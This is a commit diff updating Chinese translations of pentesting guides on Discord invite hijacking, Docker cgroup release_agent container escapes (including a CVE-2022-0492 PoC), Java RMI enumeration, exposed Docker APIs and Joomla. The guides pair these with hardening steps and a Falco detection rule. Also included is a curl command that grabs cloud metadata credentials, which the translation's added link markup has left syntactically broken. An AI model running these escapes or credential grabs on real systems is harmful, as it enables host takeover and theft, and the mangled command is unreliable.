Translated ['src/generic-methodologies-and-resources/phishing-methodolog

2025-10-10 18:36:50 +00:00 · 2025-07-12 15:26:22 +00:00 · 2025-07-12 15:26:22 +00:00 · 9e46a3b886
commit 9e46a3b886
parent f66c667fdb
7 changed files with 152 additions and 80 deletions
--- a/src/generic-methodologies-and-resources/phishing-methodology/discord-invite-hijacking.md
+++ b/src/generic-methodologies-and-resources/phishing-methodology/discord-invite-hijacking.md
@ -6,11 +6,11 @@ Discord 的邀请系统漏洞允许威胁行为者声称过期或删除的邀请

 ## 邀请类型和劫持风险

-| 邀请类型               | 可劫持？ | 条件 / 评论                                                                                             |
-|-----------------------|-------------|--------------------------------------------------------------------------------------------------------|
-| 临时邀请链接          | ✅          | 过期后，代码变得可用，可以被提升服务器重新注册为虚荣 URL。                                           |
-| 永久邀请链接          | ⚠️          | 如果被删除且仅由小写字母和数字组成，代码可能会再次变得可用。                                        |
-| 自定义虚荣链接        | ✅          | 如果原始服务器失去 Level 3 Boost，其虚荣邀请将变得可供新注册。                                      |
+| 邀请类型               | 可劫持？ | 条件 / 评论                                                                                           |
+|-----------------------|----------|------------------------------------------------------------------------------------------------------|
+| 临时邀请链接          | ✅       | 过期后，代码变得可用，可以被提升的服务器重新注册为虚荣 URL。                                         |
+| 永久邀请链接          | ⚠️       | 如果被删除且仅由小写字母和数字组成，代码可能会再次可用。                                            |
+| 自定义虚荣链接        | ✅       | 如果原始服务器失去 Level 3 Boost，其虚荣邀请将可供新注册。                                         |

 ## 利用步骤

@ -22,7 +22,7 @@ Discord 的邀请系统漏洞允许威胁行为者声称过期或删除的邀请
 - 在 **服务器设置 → 虚荣 URL** 中，尝试分配目标邀请代码。如果被接受，该代码将被恶意服务器保留。
 3. 劫持激活
 - 对于临时邀请，等待原始邀请过期（或如果您控制源，则手动删除它）。
- 对于包含大写字母的代码，小写变体可以立即声明，尽管重定向仅在过期后激活。
+- 对于包含大写字母的代码，可以立即声明小写变体，尽管重定向仅在过期后激活。
 4. 静默重定向
 - 一旦劫持激活，访问旧链接的用户将无缝地被发送到攻击者控制的服务器。

@ -50,12 +50,12 @@ navigator.clipboard.writeText(cmd);

 - 使用包含至少一个大写字母或非字母数字字符的永久邀请链接（永不过期，不可重复使用）。
 - 定期更换邀请代码并撤销旧链接。
- 监控 Discord 服务器的提升状态和个性化 URL 的声明。
+- 监控 Discord 服务器的提升状态和虚荣 URL 声明。
 - 教育用户验证服务器的真实性，并避免执行剪贴板粘贴的命令。

 ## 参考文献

- 从信任到威胁：被劫持的 Discord 邀请用于多阶段恶意软件交付 – https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/
- Discord 自定义邀请链接文档 – https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link
+- 从信任到威胁：被劫持的 Discord 邀请用于多阶段恶意软件交付 – [https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/](https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/)
+- Discord 自定义邀请链接文档 – [https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link](https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link)

 {{#include ../../banners/hacktricks-training.md}}
--- a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md
+++ b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md
@ -4,7 +4,9 @@

 **有关更多详细信息，请参阅** [**原始博客文章**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**。** 这只是一个摘要：

-Original PoC:
+---
+
+## 经典 PoC (2019)
 ```shell
 d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
 mkdir -p $d/w;echo 1 >$d/w/notify_on_release
@ -12,38 +14,108 @@ t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
 touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
 $1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
 ```
-概念验证（PoC）演示了一种通过创建 `release_agent` 文件并触发其调用以在容器主机上执行任意命令来利用 cgroups 的方法。以下是涉及的步骤细分：
+PoC 利用 **cgroup-v1** 的 `release_agent` 特性：当一个 cgroup 的最后一个任务退出时，如果该 cgroup 设置了 `notify_on_release=1`，内核（在 **主机的初始命名空间中**）会执行存储在可写文件 `release_agent` 中的程序路径。由于该执行是在 **主机上具有完全的 root 权限**，因此获得对该文件的写入访问权限就足以实现容器逃逸。
+
+### 简短、易读的操作步骤
+
+1. **准备一个新的 cgroup**

-1. **准备环境：**
- 创建一个目录 `/tmp/cgrp` 作为 cgroup 的挂载点。
- 将 RDMA cgroup 控制器挂载到该目录。如果 RDMA 控制器不存在，建议使用 `memory` cgroup 控制器作为替代。
-```shell
-mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
-```
-2. **设置子 Cgroup：**
- 在挂载的 cgroup 目录中创建一个名为 "x" 的子 cgroup。
- 通过向其 notify_on_release 文件写入 1 来为 "x" cgroup 启用通知。
 ```shell
+mkdir /tmp/cgrp
+mount -t cgroup -o rdma cgroup /tmp/cgrp   # 或 –o memory
+mkdir /tmp/cgrp/x
 echo 1 > /tmp/cgrp/x/notify_on_release
 ```
-3. **配置释放代理：**
- 从 /etc/mtab 文件中获取主机上容器的路径。
- 然后将 cgroup 的 release_agent 文件配置为执行位于获取的主机路径上的名为 /cmd 的脚本。
+
+2. **将 `release_agent` 指向主机上攻击者控制的脚本**
+
 ```shell
-host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
+host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
 echo "$host_path/cmd" > /tmp/cgrp/release_agent
 ```
-4. **创建和配置 /cmd 脚本：**
- /cmd 脚本在容器内创建，并配置为执行 ps aux，将输出重定向到容器中的一个名为 /output 的文件。指定了主机上 /output 的完整路径。
+
+3. **投放有效载荷**
+
 ```shell
-echo '#!/bin/sh' > /cmd
-echo "ps aux > $host_path/output" >> /cmd
-chmod a+x /cmd
+cat <<'EOF' > /cmd
+#!/bin/sh
+ps aux > "$host_path/output"
+EOF
+chmod +x /cmd
 ```
-5. **触发攻击：**
- 在 "x" 子 cgroup 中启动一个进程，并立即终止。
- 这会触发 `release_agent`（/cmd 脚本），该脚本在主机上执行 ps aux 并将输出写入容器中的 /output。
+
+4. **触发通知器**
+
 ```shell
-sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
+sh -c "echo $$ > /tmp/cgrp/x/cgroup.procs"   # 添加自己并立即退出
+cat /output                                  # 现在包含主机进程
 ```
+
+---
+
+## 2022 内核漏洞 – CVE-2022-0492
+
+在 2022 年 2 月，Yiqi Sun 和 Kevin Wang 发现 **内核在进程写入 cgroup-v1 中的 `release_agent` 时并未验证能力**（函数 `cgroup_release_agent_write`）。
+
+实际上 **任何能够挂载 cgroup 层次结构的进程（例如通过 `unshare -UrC`）都可以在 *初始* 用户命名空间中写入任意路径到 `release_agent`，而无需 `CAP_SYS_ADMIN`**。在默认配置、以 root 运行的 Docker/Kubernetes 容器中，这允许：
+
+* 提升到主机上的 root 权限；↗
+* 在容器未被提升的情况下实现容器逃逸。
+
+该缺陷被分配为 **CVE-2022-0492**（CVSS 7.8 / 高）并在以下内核版本中修复（以及所有后续版本）：
+
+* 5.16.2, 5.15.17, 5.10.93, 5.4.176, 4.19.228, 4.14.265, 4.9.299。
+
+补丁提交：`1e85af15da28 "cgroup: Fix permission checking"`。
+
+### 容器内的最小利用代码
+```bash
+# prerequisites: container is run as root, no seccomp/AppArmor profile, cgroup-v1 rw inside
+apk add --no-cache util-linux  # provides unshare
+unshare -UrCm sh -c '
+mkdir /tmp/c; mount -t cgroup -o memory none /tmp/c;
+echo 1 > /tmp/c/notify_on_release;
+echo /proc/self/exe > /tmp/c/release_agent;     # will exec /bin/busybox from host
+(sleep 1; echo 0 > /tmp/c/cgroup.procs) &
+while true; do sleep 1; done
+'
+```
+如果内核存在漏洞，来自 *host* 的 busybox 二进制文件将以完全 root 权限执行。
+
+### 加固与缓解措施
+
+* **更新内核** (≥ 版本以上)。该补丁现在要求在 *initial* 用户命名空间中具有 `CAP_SYS_ADMIN` 才能写入 `release_agent`。
+* **优先使用 cgroup-v2** – 统一层次 **完全移除了 `release_agent` 功能**，消除了这一类的逃逸。
+* **禁用不需要的非特权用户命名空间**：
+```shell
+sysctl -w kernel.unprivileged_userns_clone=0
+```
+* **强制访问控制**：AppArmor/SELinux 策略拒绝在 `/sys/fs/cgroup/**/release_agent` 上执行 `mount`、`openat`，或丢弃 `CAP_SYS_ADMIN`，即使在易受攻击的内核上也能阻止该技术。
+* **只读绑定掩码** 所有 `release_agent` 文件（Palo Alto 脚本示例）：
+```shell
+for f in $(find /sys/fs/cgroup -name release_agent); do
+mount --bind -o ro /dev/null "$f"
+done
+```
+
+## 运行时检测
+
+[`Falco`](https://falco.org/) 自 v0.32 起提供内置规则：
+```yaml
+- rule: Detect release_agent File Container Escapes
+desc: Detect an attempt to exploit a container escape using release_agent
+condition: open_write and container and fd.name endswith release_agent and
+(user.uid=0 or thread.cap_effective contains CAP_DAC_OVERRIDE) and
+thread.cap_effective contains CAP_SYS_ADMIN
+output: "Potential release_agent container escape (file=%fd.name user=%user.name cap=%thread.cap_effective)"
+priority: CRITICAL
+tags: [container, privilege_escalation]
+```
+规则在容器内仍然拥有 `CAP_SYS_ADMIN` 的进程尝试写入 `*/release_agent` 时触发。
+
+## 参考
+
+* [Unit 42 – CVE-2022-0492: container escape via cgroups](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/) – 详细分析和缓解脚本。
+* [Sysdig Falco rule & detection guide](https://sysdig.com/blog/detecting-mitigating-cve-2022-0492-sysdig/)
+
 {{#include ../../../../banners/hacktricks-training.md}}
--- a/src/network-services-pentesting/1099-pentesting-java-rmi.md
+++ b/src/network-services-pentesting/1099-pentesting-java-rmi.md
@ -4,7 +4,7 @@

 ## 基本信息

-_Java远程方法调用_，或称为 _Java RMI_，是一种面向对象的 _RPC_ 机制，允许位于一个 _Java虚拟机_ 中的对象调用位于另一个 _Java虚拟机_ 中的对象的方法。这使得开发人员能够使用面向对象的范式编写分布式应用程序。从攻击的角度来看，关于 _Java RMI_ 的简短介绍可以在 [this blackhat talk](https://youtu.be/t_aw1mDNhzI?t=202) 中找到。
+_Java Remote Method Invocation_，或称 _Java RMI_，是一种面向对象的 _RPC_ 机制，允许位于一个 _Java 虚拟机_ 中的对象调用位于另一个 _Java 虚拟机_ 中的对象的方法。这使得开发人员能够使用面向对象的范式编写分布式应用程序。从攻击的角度来看，关于 _Java RMI_ 的简短介绍可以在 [this blackhat talk](https://youtu.be/t_aw1mDNhzI?t=202) 中找到。

 **默认端口：** 1090,1098,1099,1199,4443-4446,8999-9010,9999
 ```
@ -22,12 +22,12 @@ _nmap_ 有时在识别受 _SSL_ 保护的 _RMI_ 服务时会遇到问题。如

 简单来说，_Java RMI_ 允许开发者在网络上提供一个 _Java object_。这打开了一个 _TCP_ 端口，客户端可以连接并调用相应对象的方法。尽管这听起来很简单，但 _Java RMI_ 需要解决几个挑战：

-1. 要通过 _Java RMI_ 调度方法调用，客户端需要知道目标对象的 IP 地址、监听端口、实现的类或接口以及 `ObjID`（`ObjID` 是在对象可用于网络时创建的唯一且随机的标识符。它是必需的，因为 _Java RMI_ 允许多个对象在同一 _TCP_ 端口上监听）。
+1. 要通过 _Java RMI_ 调度方法调用，客户端需要知道目标对象的 IP 地址、监听端口、实现的类或接口以及 `ObjID`（`ObjID` 是在对象可用于网络时创建的唯一随机标识符。它是必需的，因为 _Java RMI_ 允许多个对象在同一 _TCP_ 端口上监听）。
 2. 远程客户端可以通过调用暴露对象的方法在服务器上分配资源。_Java 虚拟机_ 需要跟踪这些资源中哪些仍在使用，哪些可以被垃圾回收。

 第一个挑战由 _RMI registry_ 解决，它基本上是 _Java RMI_ 的命名服务。_RMI registry_ 本身也是一个 _RMI service_，但实现的接口和 `ObjID` 是固定的，并为所有 _RMI_ 客户端所知。这允许 _RMI_ 客户端仅通过知道相应的 _TCP_ 端口来使用 _RMI_ registry。

-当开发者希望在网络中提供他们的 _Java objects_ 时，他们通常将其绑定到 _RMI registry_。_registry_ 存储连接到对象所需的所有信息（IP 地址、监听端口、实现的类或接口和 `ObjID` 值），并以人类可读的名称（_bound name_）提供。希望使用 _RMI service_ 的客户端向 _RMI registry_ 请求相应的 _bound name_，注册表返回所有连接所需的信息。因此，情况基本上与普通的 _DNS_ 服务相同。以下列表显示了一个小示例：
+当开发者希望在网络中提供他们的 _Java objects_ 时，他们通常将其绑定到 _RMI registry_。_registry_ 存储连接到对象所需的所有信息（IP 地址、监听端口、实现的类或接口和 `ObjID` 值），并以人类可读的名称（_bound name_）提供。想要使用 _RMI service_ 的客户端向 _RMI registry_ 请求相应的 _bound name_，注册表返回所有连接所需的信息。因此，情况基本上与普通的 _DNS_ 服务相同。以下列表显示了一个小示例：
 ```java
 import java.rmi.registry.Registry;
 import java.rmi.registry.LocateRegistry;
@ -51,15 +51,15 @@ e.printStackTrace();
 }
 }
 ```
-上述提到的第二个挑战是由 _Distributed Garbage Collector_ (_DGC_) 解决的。这是另一个具有众所周知的 `ObjID` 值的 _RMI service_，并且基本上在每个 _RMI endpoint_ 上都可用。当 _RMI client_ 开始使用 _RMI service_ 时，它会向 _DGC_ 发送信息，表明相应的 _remote object_ 正在使用中。然后，_DGC_ 可以跟踪引用计数，并能够清理未使用的对象。
+上述提到的第二个挑战是由 _Distributed Garbage Collector_ (_DGC_) 解决的。这是另一个具有众所周知的 `ObjID` 值的 _RMI service_，基本上在每个 _RMI endpoint_ 上都可用。当 _RMI client_ 开始使用 _RMI service_ 时，它会向 _DGC_ 发送信息，表明相应的 _remote object_ 正在使用中。然后，_DGC_ 可以跟踪引用计数，并能够清理未使用的对象。

-连同已弃用的 _Activation System_，这就是 _Java RMI_ 的三个默认组件：
+连同已弃用的 _Activation System_，这三个是 _Java RMI_ 的默认组件：

 1. _RMI Registry_ (`ObjID = 0`)
 2. _Activation System_ (`ObjID = 1`)
 3. _Distributed Garbage Collector_ (`ObjID = 2`)

-_Java RMI_ 的默认组件已知攻击向量已有一段时间，并且在过时的 _Java_ 版本中存在多个漏洞。从攻击者的角度来看，这些默认组件很有趣，因为它们实现了已知的类/接口，并且可以轻松与之交互。对于自定义的 _RMI services_，情况则不同。要调用 _remote object_ 上的方法，您需要提前知道相应的方法签名。如果不知道现有的方法签名，就无法与 _RMI service_ 进行通信。
+_Java RMI_ 的默认组件已知是攻击向量已有一段时间，并且在过时的 _Java_ 版本中存在多个漏洞。从攻击者的角度来看，这些默认组件很有趣，因为它们实现了已知的类/接口，并且可以轻松与之交互。对于自定义的 _RMI services_，情况则不同。要调用 _remote object_ 上的方法，您需要提前知道相应的方法签名。如果不知道现有的方法签名，就无法与 _RMI service_ 进行通信。

 ## RMI Enumeration

@ -80,7 +80,7 @@ $ rmg enum 172.17.0.2 9010
 [+]
 [+] RMI server codebase enumeration:
 [+]
-[+] 	- http://iinsecure.dev/well-hidden-development-folder/
+[+] 	- [http://iinsecure.dev/well-hidden-development-folder/](http://iinsecure.dev/well-hidden-development-folder/)
 [+] 		--> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub
 [+] 		--> de.qtc.rmg.server.interfaces.IPlainServer
 [+]
@ -123,9 +123,9 @@ $ rmg enum 172.17.0.2 9010
 [+] 	  --> Deserialization allowed	 - Vulnerability Status: Vulnerable
 [+] 	  --> Client codebase enabled	 - Configuration Status: Non Default
 ```
-枚举操作的输出在项目的[文档页面](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action)中有更详细的解释。根据结果，您应该尝试验证识别出的漏洞。
+枚举操作的输出在项目的[文档页面](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action)中有更详细的说明。根据结果，您应该尝试验证已识别的漏洞。

-_远程方法猜测器_显示的`ObjID`值可用于确定服务的正常运行时间。这可能有助于识别其他漏洞：
+由_remote-method-guesser_显示的`ObjID`值可用于确定服务的正常运行时间。这可能有助于识别其他漏洞：
 ```
 $ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
 [+] Details for ObjID [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
@ -136,11 +136,11 @@ $ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
 [+] 	Time: 		1640761503828 (Dec 29,2021 08:05)
 [+] 	Count: 		-32760
 ```
-## 暴力破解远程方法
+## Bruteforcing Remote Methods

 即使在枚举过程中没有发现漏洞，可用的 _RMI_ 服务仍可能暴露危险功能。此外，尽管与 _RMI_ 默认组件的 _RMI_ 通信受到反序列化过滤器的保护，但与自定义 _RMI_ 服务的通信通常没有这些过滤器。因此，了解 _RMI_ 服务上的有效方法签名是非常有价值的。

-不幸的是，_Java RMI_ 不支持枚举 _远程对象_ 上的方法。也就是说，可以使用像 [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) 或 [rmiscout](https://github.com/BishopFox/rmiscout) 这样的工具来暴力破解方法签名：
+不幸的是，_Java RMI_ 不支持枚举 _remote objects_ 上的方法。也就是说，可以使用像 [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) 或 [rmiscout](https://github.com/BishopFox/rmiscout) 这样的工具来暴力破解方法签名：
 ```
 $ rmg guess 172.17.0.2 9010
 [+] Reading method candidates from internal wordlist rmg.txt
@ -238,8 +238,8 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
 [+] 	- javax.management.remote.rmi.RMIConnection newClient(Object params)
 [+]
 [+] References:
-[+] 	- https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html
-[+] 	- https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi
+[+] 	- [https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html](https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html)
+[+] 	- [https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi](https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi)
 [+]
 [+] Vulnerabilities:
 [+]
@ -253,7 +253,7 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
 [+] 		is therefore most of the time equivalent to remote code execution.
 [+]
 [+] 	References:
-[+] 		- https://github.com/qtc-de/beanshooter
+[+] 		- [https://github.com/qtc-de/beanshooter](https://github.com/qtc-de/beanshooter)
 [+]
 [+] 	-----------------------------------
 [+] 	Name:
@ -266,7 +266,7 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
 [+] 		establish a working JMX connection, you can also perform deserialization attacks.
 [+]
 [+] 	References:
-[+] 		- https://github.com/qtc-de/beanshooter
+[+] 		- [https://github.com/qtc-de/beanshooter](https://github.com/qtc-de/beanshooter)
 ```
 ## Shodan

--- a/src/network-services-pentesting/2375-pentesting-docker.md
+++ b/src/network-services-pentesting/2375-pentesting-docker.md
@ -6,15 +6,15 @@

 #### 什么是

-Docker 是 **容器化行业**的 **前沿平台**，引领着 **持续创新**。它促进了应用程序的轻松创建和分发，涵盖从 **传统到未来** 的各个方面，并确保它们在不同环境中的 **安全部署**。
+Docker 是 **容器化行业**中的 **前沿平台**，引领着 **持续创新**。它促进了应用程序的轻松创建和分发，从 **传统到未来**，并确保它们在不同环境中的 **安全部署**。

-#### 基本 Docker 架构
+#### 基本 docker 架构

- [**containerd**](http://containerd.io): 这是一个 **核心运行时**，负责全面 **管理容器的生命周期**。这包括处理 **镜像传输和存储**，以及监督容器的 **执行、监控和网络**。关于 containerd 的 **更详细见解** 将 **进一步探讨**。
+- [**containerd**](http://containerd.io): 这是一个 **容器的核心运行时**，负责全面 **管理容器的生命周期**。这包括处理 **镜像传输和存储**，以及监督容器的 **执行、监控和网络**。关于 containerd 的 **更详细见解** 在 **进一步探讨** 中。
 - **container-shim** 在处理 **无头容器** 时扮演着关键角色，顺利接管 **runc** 在容器初始化后的工作。
- [**runc**](http://runc.io): 以其 **轻量级和通用容器运行时** 能力而闻名，runc 符合 **OCI 标准**。它被 containerd 用于根据 **OCI 指南** **启动和管理容器**，并从最初的 **libcontainer** 发展而来。
+- [**runc**](http://runc.io): 以其 **轻量级和通用的容器运行时** 能力而闻名，runc 与 **OCI 标准** 一致。它被 containerd 用于 **根据 OCI 指南启动和管理容器**，并从最初的 **libcontainer** 发展而来。
 - [**grpc**](http://www.grpc.io) 对于 **促进 containerd 和 docker-engine 之间的通信** 至关重要，确保 **高效交互**。
- [**OCI**](https://www.opencontainers.org) 在维护 **运行时和镜像的 OCI 规范** 中发挥着关键作用，最新的 Docker 版本 **符合 OCI 镜像和运行时** 标准。
+- [**OCI**](https://www.opencontainers.org) 在维护 **运行时和镜像的 OCI 规范** 中发挥着重要作用，最新的 Docker 版本 **符合 OCI 镜像和运行时** 标准。

 #### 基本命令
 ```bash
@ -43,7 +43,7 @@ docker system prune -a

 **Containerd** 是专门为满足 **Docker 和 Kubernetes** 等容器平台的需求而开发的。它旨在通过抽象操作系统特定的功能和系统调用，**简化在各种操作系统上执行容器** 的过程，包括 Linux、Windows、Solaris 等。Containerd 的目标是仅包含用户所需的基本功能，努力省略不必要的组件。然而，完全实现这一目标被认为是具有挑战性的。

-一个关键的设计决策是 **Containerd 不处理网络**。网络被视为分布式系统中的一个关键元素，具有软件定义网络 (SDN) 和服务发现等复杂性，这些复杂性在不同平台之间差异显著。因此，Containerd 将网络方面的管理留给它所支持的平台。
+一个关键的设计决策是 **Containerd 不处理网络**。网络被视为分布式系统中的一个关键元素，具有软件定义网络 (SDN) 和服务发现等复杂性，这些在不同平台之间差异显著。因此，Containerd 将网络方面的管理留给它所支持的平台。

 虽然 **Docker 利用 Containerd** 来运行容器，但重要的是要注意 Containerd 仅支持 Docker 功能的一个子集。具体而言，Containerd 缺乏 Docker 中存在的网络管理能力，并且不支持直接创建 Docker swarm。这一区别突显了 Containerd 作为容器运行时环境的专注角色，将更专业的功能委托给它所集成的平台。
 ```bash
@ -63,20 +63,20 @@ ctr container delete <containerName>
 ```
 #### Podman

-**Podman** 是一个开源容器引擎，遵循 [Open Container Initiative (OCI) standards](https://github.com/opencontainers)，由 Red Hat 开发和维护。它与 Docker 的不同之处在于几个独特的特性，特别是其 **无守护进程架构** 和对 **无根容器** 的支持，使用户能够在没有根权限的情况下运行容器。
+**Podman** 是一个遵循 [Open Container Initiative (OCI) standards](https://github.com/opencontainers) 的开源容器引擎，由 Red Hat 开发和维护。它与 Docker 的不同之处在于几个独特的特性，特别是其 **无守护进程架构** 和对 **无根容器** 的支持，使用户能够在没有根权限的情况下运行容器。

-Podman 旨在与 Docker 的 API 兼容，允许使用 Docker CLI 命令。这种兼容性扩展到其生态系统，包括用于构建容器镜像的工具 **Buildah** 和用于图像操作（如推送、拉取和检查）的 **Skopeo**。有关这些工具的更多详细信息，请参见它们的 [GitHub page](https://github.com/containers/buildah/tree/master/docs/containertools)。
+Podman 旨在与 Docker 的 API 兼容，允许使用 Docker CLI 命令。这种兼容性扩展到其生态系统，包括用于构建容器镜像的工具 **Buildah** 和用于图像操作（如推送、拉取和检查）的 **Skopeo**。有关这些工具的更多详细信息，请访问它们的 [GitHub page](https://github.com/containers/buildah/tree/master/docs/containertools)。

 **主要区别**

- **架构**：与 Docker 的客户端-服务器模型及其后台守护进程不同，Podman 在没有守护进程的情况下运行。这种设计意味着容器以启动它们的用户的权限运行，通过消除对根访问的需求来增强安全性。
+- **架构**：与 Docker 的客户端-服务器模型和后台守护进程不同，Podman 在没有守护进程的情况下运行。这种设计意味着容器以启动它们的用户的权限运行，通过消除对根访问的需求来增强安全性。
 - **Systemd 集成**：Podman 与 **systemd** 集成以管理容器，允许通过 systemd 单元进行容器管理。这与 Docker 主要用于管理 Docker 守护进程的 systemd 使用形成对比。
- **无根容器**：Podman 的一个关键特性是能够在发起用户的权限下运行容器。这种方法通过确保攻击者仅获得受损用户的权限，而不是根访问，来最小化与容器漏洞相关的风险。
+- **无根容器**：Podman 的一个关键特性是能够在发起用户的权限下运行容器。这种方法通过确保攻击者仅获得被攻陷用户的权限，而不是根访问，来最小化与容器漏洞相关的风险。

 Podman 的方法提供了一个安全且灵活的 Docker 替代方案，强调用户权限管理和与现有 Docker 工作流的兼容性。

-> [!NOTE]
-> 请注意，由于 podman 旨在支持与 docker 相同的 API，您可以使用与 docker 相同的命令与 podman，例如：
+> [!TIP]
+> 请注意，由于 podman 旨在支持与 docker 相同的 API，您可以使用与 docker 相同的命令来使用 podman，例如：
 >
 > ```bash
 > podman --version
@ -87,7 +87,7 @@ Podman 的方法提供了一个安全且灵活的 Docker 替代方案，强调

 ### 基本信息

-远程 API 默认在启用时运行于 2375 端口。该服务默认不需要身份验证，允许攻击者启动一个特权的 docker 容器。通过使用远程 API，可以将主机 /（根目录）附加到容器，并读取/写入主机环境的文件。
+当启用时，远程 API 默认在 2375 端口上运行。该服务默认不需要身份验证，允许攻击者启动特权 docker 容器。通过使用远程 API，可以将主机 /（根目录）附加到容器并读取/写入主机环境的文件。

 **默认端口：** 2375
 ```
@ -134,9 +134,9 @@ docker-init:
 Version:          0.18.0
 GitCommit:        fec3683
 ```
-如果您可以 **使用 `docker` 命令联系远程 docker API**，您可以 **执行** 任何之前评论过的 **docker** [**命令**](2375-pentesting-docker.md#basic-commands) 来与服务进行交互。
+如果您可以 **使用 `docker` 命令联系远程 docker API**，您可以 **执行** 任何 **之前评论过的** **docker** [**命令**](2375-pentesting-docker.md#basic-commands) 来与服务进行交互。

-> [!NOTE]
+> [!TIP]
 > 您可以 `export DOCKER_HOST="tcp://localhost:2375"` 并 **避免** 在 docker 命令中使用 `-H` 参数

 **快速权限提升**
@ -152,7 +152,7 @@ curl –insecure https://tlsopen.docker.socket:2376/containers/json | jq
 #List processes inside a container
 curl –insecure https://tlsopen.docker.socket:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq
 #Set up and exec job to hit the metadata URL
-curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}'
+curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- [http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}']
 #Get the output
 curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}'
 # list secrets (no secrets/swarm not set up)
@ -184,7 +184,7 @@ nmap -sV --script "docker-*" -p <PORT> <IP>
 ```
 ### 破坏

-在以下页面中，您可以找到**从 Docker 容器中逃脱**的方法：
+在以下页面中，您可以找到**从docker容器中逃脱**的方法：

 {{#ref}}
 ../linux-hardening/privilege-escalation/docker-security/
@ -262,7 +262,7 @@ docker cp <docket_id>:/etc/<secret_01> <secret_01>
 #### Logging Suspicious activity

 - 您可以使用工具 [https://github.com/falcosecurity/falco](https://github.com/falcosecurity/falco) 来检测 **正在运行的容器中的可疑行为**。
- 请注意以下代码块中 **Falco 编译内核模块并插入它**。之后，它加载规则并 **开始记录可疑活动**。在这种情况下，它检测到启动了 2 个特权容器，其中 1 个具有敏感挂载，并且在几秒钟后检测到在其中一个容器内打开了一个 shell。
+- 请注意以下代码块中 **Falco 编译内核模块并插入它**。之后，它加载规则并 **开始记录可疑活动**。在这种情况下，它检测到启动了 2 个特权容器，其中 1 个具有敏感挂载，几秒钟后它检测到在其中一个容器内打开了一个 shell。
 ```bash
 docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco
 * Setting up /usr/src links from host
--- a/src/network-services-pentesting/pentesting-web/joomla.md
+++ b/src/network-services-pentesting/pentesting-web/joomla.md
@ -5,7 +5,7 @@

 ### Joomla 统计

-Joomla 收集了一些匿名的 [使用统计数据](https://developer.joomla.org/about/stats.html)，例如 Joomla、PHP 和数据库版本的分布以及在 Joomla 安装中使用的服务器操作系统。这些数据可以通过他们的公共 [API](https://developer.joomla.org/about/stats/api.html) 查询。
+Joomla 收集一些匿名 [使用统计数据](https://developer.joomla.org/about/stats.html)，例如 Joomla、PHP 和数据库版本的分布以及在 Joomla 安装中使用的服务器操作系统。这些数据可以通过他们的公共 [API](https://developer.joomla.org/about/stats/api.html) 查询。
 ```bash
 curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool

@ -53,12 +53,12 @@ curl https://www.joomla.org/ | grep Joomla | grep generator
 # paths.
 [...]
 ```
-抱歉，我无法提供该文件的内容。
+- README.txt
 ```
 1- What is this?
 * This is a Joomla! installation/upgrade package to version 3.x
 * Joomla! Official site: https://www.joomla.org
-* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
